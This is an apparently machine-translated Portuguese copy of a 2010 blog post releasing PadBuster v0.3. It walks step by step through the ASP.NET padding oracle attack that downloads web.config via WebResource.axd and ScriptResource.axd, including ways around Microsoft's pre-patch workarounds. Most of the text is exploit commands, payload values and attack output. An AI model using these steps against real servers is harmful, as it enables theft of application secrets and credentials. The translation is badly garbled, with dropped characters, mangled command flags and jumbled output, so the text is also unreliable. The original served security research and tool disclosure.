Você está na página 1de 6

PadBuster v0.3 e.

NET Padding Ataque da Oracle


Segunda-feira, 4 de outubro, 2010 em 13:57

Agora que um fim de semana se passou desde que o patch. NET foi lanado, e uma vez que existe j um exemplo de trabalho pblico de forma fivel para fazer download de um web.config usando o preenchimento ataque orculo, decidimos finalmente liberar v0.3 de PadBuster com a "fora bruta" opo. Esta opo projetado especificamente para lidar com situaes onde o primeiro bloco de texto cifrado no podem ser criados usando CBC-R devido a uma IV segredo. Este recurso no foi projetado especificamente para o ataque. NET, como a nossa inteno para PadBuster ser uma ferramenta universal para identificar e explorar orculos de preenchimento em qualquer aplicao web. Dito isto, a opo de fora bruta pode ser usado com segurana executar um ataque de download web.config dentro de um razovel nmero de pedidos.

Antes de discutir como realizar este ataque usando PadBuster, e alguns dos outros novos recursos desta verso, importante notar que existem formas mais eficientes para realizar o ataque de download web.config usando ScriptResource.axd. A T-Block bruta vetor ataque de fora, que foi originalmente apontada para mim por James Martin de ESP Technologies e tambm discutido aqui por Giorgio Fedon de Segurana Minded, significativamente mais rpido e mais eficiente. Esta tcnica, contudo, bastante especfico para o. Ataque NET ScriptResource.axd e como tal no susceptvel de ser incorporada PadBuster (um script de explorao separado provavelmente garantido).

O ataque web.config usando PadBuster essencialmente um processo de trs passos. Vou assumir que o leitor j est familiarizado com as especificidades de por que o manipulador de recurso de script vulnervel a um ataque de download de arquivo. Se voc no estiver familiarizado com o problema subjacente, voc pode ler sobre isso aqui, aqui e aqui. Passo 1: criptografar a carga usando CBC-R O primeiro passo do ataque o de identificar um componente que vulnervel

ao ataque orculo estofamento e us-lo para criptografar a carga web.config (| | | ~ / web.config). Isso pode normalmente ser feito de algumas maneiras: 1 - Usando WebResource.axd como um orculo para preenchimento CBC-R. Se CustomErrors no esto habilitados, ento voc no precisa sequer de um texto cifrado amostra vlida para explorar o orculo ... voc pode usar um valor fictcio codificada de todos os valores nulos em vez (AAAAAAAAAAAAAAAAAAAAAA2). padBuster.pl http://www.myapp.com/WebResource.axd?d=AAAAAAAAAAAAAAAAAAAAAA2 AAAAAAAAAAAAAAAAAAAAAA2 16-codificao 3-plaintext "| | | ~ / web.config"Se CustomErrors estiverem habilitados, voc ainda pode usar WebResource.axd como o orculo. A ressalva, no entanto, que voc vai precisar usar um vlido exemplo de texto cifrado seqncia de consulta e utilizar o prefixo opo para que PadBuster envia esse exemplo como o prefixo de cada solicitao de teste. padBuster.pl http://www.myapp.com/WebResource.axd?d=1s45vAJre3GVd98iQoAjgQ2 1s45vAJre3GVd98iQoAjgQ2 16 codificao-3-plaintext "| | | ~ / web.config" prefix 1s45vAJre3GVd98iQoAjgQ22 - Usando ScriptResource.axd como um orculo para preenchimento CBC-R. Como com o manipulador de recursos web, isso muito simples se CustomErrors no esto habilitados: padBuster.pl http://www.myapp.com/ScriptResource.axd?d=1s45vAJre3GVd98iQoAjgQ2 1s45vAJre3GVd98iQoAjgQ2 16 codificao-3-plaintext "| | | ~ / web.config"Se CustomErrors esto habilitados, o manipulador tambm pode ser usado como um orculo estofamento. A coisa interessante sobre essa tcnica que ela parece funcionar apesar de implementao de todas as solues que a Microsoft recomenda antes que o patch foi emitido (CustomErrors usando sono redirectMode e opcional). Esta tcnica, entretanto, requer o uso da opo de fora bruta por isso vou voltar a isso um pouco. Passo 2: Verifique se a carga criptografada no inclui tubos Este passo opcional, mas certamente vale a pena realizar para garantir que voc no est indo por uma estrada sem sada. Para que o exploit para o trabalho, a carga que voc enviar para o manipulador (incluindo o "lixo" bloco IV) no pode incluir quaisquer caracteres de pipe. Se isso acontecer, a carga nunca vai funcionar. Para verificar isso, voc pode usar o orculo preenchimento de descodificar o de carga e verificar seu contedo. Assim, supondo que o Passo 1 produziu um valor de carga "iJBC6whziIIWQhKYX4KDpwAAAAAAAAAAAAAAAAAAAAA1", ento o comando a seguir deve ser usado para verificar o contedo da carga. Certifique-se de utilizar a opo-noiv como o primeiro bloco o que voc est mais interessado em

padBuster.pl http://www.myapp.com/WebResource.axd? d=iJBC6whziIIWQhKYX4KDpwAAAAAAAAAAAAAAAAAAAAA1 iJBC6whziIIWQhKYX4KDpwAAAAAAAAAAAAAAAAAAAAA1 16 codificao-3-noiv Ento, o que se sua carga inclui tubos? No tenha medo, no h uma soluo fcil para isso tambm. Voc deve ter notado que quando as amostras decriptarmos usando PadBuster, ele imprime as HEX Bytes codificados texto cifrado e Bytes intermedirios com os resultados de cada bloco. Voc pode opcionalmente usar qualquer um desses pares, juntamente com o texto cifrado-e-chaves intermedirios para alimentar PadBuster um par conhecido de texto cifrado / valores intermedirios para uso durante a CBC-R criptografia. Usando qualquer um destes pares para encriptar a sua carga de explorao deve produzir uma carga diferente do que seria de outro modo ser gerado por PadBuster por si prprio, que pode ento ser verificado para assegurar que no contm tubos. Passo 3: A fora bruta do primeiro bloco Agora que voc tem uma carga vlida, o ltimo passo obter o primeiro bloco que ir acionar a lgica download do arquivo. A razo deste passo complicado que o quadro geral no passa de um IV, juntamente com o texto cifrado. Como tal, no podemos usar o orculo estofo para produzir de forma confivel o nosso bloco desejado primeiro lugar. A boa notcia que desde que voc s precisa dos dois primeiros bytes do valor descriptografado para acionar a nossa explorao (ou Q #, q #, R # ou r #), voc pode forar essencialmente bruta do bloco necessrio com sucesso bastante confivel. E a notcia ainda melhor que voc ficaria surpreso em quo rpido ele a fora bruta cegamente um destes valores. A abordagem adoptada por PadBuster semelhante, mas ligeiramente diferente, que o esquema usado por Web.config roteiro Bruter liberado por Giorgio Fedon. Devo novamente crdito James Martin para originalmente partilhar a sua prova de conceito com o cdigo de explorao-me que esta tcnica alavancada para a identificao do primeiro bloco. Em vez de valores de blocos aleatrios, no entanto, PadBuster executa uma fora bruta sequencial comeando com todos os valores nulos. A fora bruta seqencial garante que voc nunca tentar o valor mesmo bloco mais de uma vez e tambm permite que voc para retomar a fora bruta de onde parou se o script morto (usando a opo de continuao). O exemplo mostrado abaixo assume a carga til do nosso exemplo Passo 2 acima: padBuster.pl http://www.myapp.com/ScriptResource.axd? d=iJBC6whziIIWQhKYX4KDpwAAAAAAAAAAAAAAAAAAAAA1 iJBC6whziIIWQhKYX4KDpwAAAAAAAAAAAAAAAAAAAAA1 16-codificao 3bruteforce-log

PadBuster modo de fora bruta funciona de forma semelhante aos outros modos de PadBuster, onde o primeiro passo uma anlise resposta automtica. A principal diferena que ao invs de identificar um erro de preenchimento, voc quer identificar um erro que indica falha da tentativa de fora bruta ao invs de sucesso. Na maioria dos casos, voc pode ter apenas uma resposta para escolher ... o que totalmente bem (a menos que uma das primeiras 256 tentativas fuzzing produz uma resposta diferente). No caso de ScriptResource.axd, h uma boa chance de voc ter mais de um, como mostrado abaixo. INFO: Iniciando PadBuster modo Brute Force [+] *** anlise da resposta partida ... Anlise de Resposta Completa *** As assinaturas de resposta a seguir foram devolvidos: ------------------ ------------------------------------- ID # Freq Localizao Comprimento Estado ------- 1 1 -----------------------------------------------200 337 255 404 ** N/A2 1524 N/A------------------------------------- -----------------Digite um ID que corresponde ao conditionNOTE erro: O ID # marcados com ** recomendado: A razo para a resposta 200 foi referido acima o T-bloco. Para nossos propsitos, no estamos usando o Bloco T para que possamos selecionar assinatura # 2 (o 404). PadBuster vai continuar a emitir tentativas de fora bruta e notific-lo de todas as respostas que no coincide com essa assinatura. Voc provavelmente vai receber vrias T-Block hits similar to a resposta 200 acima antes de voc acertar um bloco que retorna o web.config, conforme mostrado abaixo (isto apenas um trecho da sada) Tentativa 4275 - Status: 200 - Comprimento Contedo: 367 Tentativa 4561 - Status: 200 - Comprimento Contedo: 360 Tentativa 4792 - Status: 200 - Comprimento de Contedo: 100277 Tentativa 5353 - Status: 200 - Comprimento Contedo: 359 Como voc pode imaginar, difcil dizer se estas respostas contm nada de significativo com base unicamente nos dados que so impressos na tela. No caso de esta faanha, sabemos que o arquivo web.config provavelmente vai ser muito maior do que as pequenas T-Block respostas que em mdia cerca de 500 Bytes. Voc pode realmente ver que no trecho acima, o nmero de tentativa de 4792 mostra um comprimento de contedo muito maior ... esta a resposta que contm o arquivo web.config. A incluso de indesejados T-Block respostas em nossa produo resultado do nosso desejo de manter PadBuster como uma ferramenta universal que no especfico para uma vulnerabilidade especial como este. Voc tambm pode ter notado que o nosso comando original fez uso de outra

nova opo (-log). O "log" opo diz PadBuster em arquivos de log de sada diferentes em uma pasta automaticamente gerada usando a conveno de nomenclatura PadBuster.DDMMYY-TIME. Esta opo essencial para o uso no modo de fora bruta, uma vez que cada resposta correspondente registrado para esta pasta e pode ser facilmente revisados para determinar se a tentativa de fora bruta funcionou. Para o caso de um exploit de download web.config, eu recomendo executar o comando acima e monitorar a pasta de sada para determinar quando um arquivo de resposta significativamente maior criado. Ignorando as Solues Alternativas Agora que voc j viu como recuperar o web.config, vamos voltar a uma tcnica alternativa para a utilizao de ScriptResource.axd como um estofamento orculo. Como mencionei anteriormente, esta tcnica funciona apesar de implementao das solues alternativas recomendadas inicialmente apresentados pela Microsoft em sua orientao anterior ao lanamento do patch. Para comear, voc vai precisar de uma amostra de texto cifrado vlido. A amostra, no entanto, no tem de ser vlido para o manipulador de recursos script (que pode ser tomada a partir de qualquer componente Quadro ... mais facilmente a partir da cadeia de consulta WebResource.axd). Passo 1: Encontre um Pedido Bloco T-vlida Usando a amostra obtida, juntamente com o bruteforce-opo, o comando seguinte pode ser usado para fora bruta rapidamente uma vlido T-bloco. O exemplo a seguir assume que fomos capazes de obter um valor vlido "d" a partir de um link para o manipulador de recursos web (/ WebResource.axd? D = qmZbysenet6VGS94Ord8gQ2 & t = 633768217780468750). padBuster.pl http://www.myapp.com/ScriptResource.axd?d=qmZbysenet6VGS94Ord8gQ2 qmZbysenet6VGS94Ord8gQ2 16 codificao-3-bruteforceUma vez que voc executar PadBuster com estas opes, e selecione o padro de erro padro, voc deve obter uma resposta 200 dentro dos primeiros cem pedidos semelhantes ao mostrado abaixo: Tentativa 60 - Status: 200 - Comprimento Contedo: 337http://www.myapp.com/ScriptResource.axd? d=OwAAAAAAAAAAAAAAAAAAAKpmW8rHp3relRkveDq3fIE1 Passo 2: Use o Bloco T obtido com o prefixo-opo Agora voc pode aproveitar a obtida pedido T-Block, junto com o prefixoopo, para usar o manipulador de recurso de script como um orculo de preenchimento como mostrado abaixo. padBuster.pl http://www.myapp.com/ScriptResource.axd?d=qmZbysenet6VGS94Ord8gQ2 qmZbysenet6VGS94Ord8gQ2 16 codificao-3-noiv-prefix

OwAAAAAAAAAAAAAAAAAAAKpmW8rHp3relRkveDq3fIE1Os exemplos acima espero demonstrar como utilizar os novos recursos do PadBuster para a realizao de vrias faanhas contra o quadro. NET. Nosso plano adicionar mais recursos para PadBuster onde elas fazem sentido, especificamente recursos que podem ser teis no contra uma grande variedade de vetores de ataque de preenchimento oracle. Como sempre, envie-nos o seu feedback, modificaes, relatrios de bugs, ou comentrios gerais para que possamos incorpor-las em futuras verses.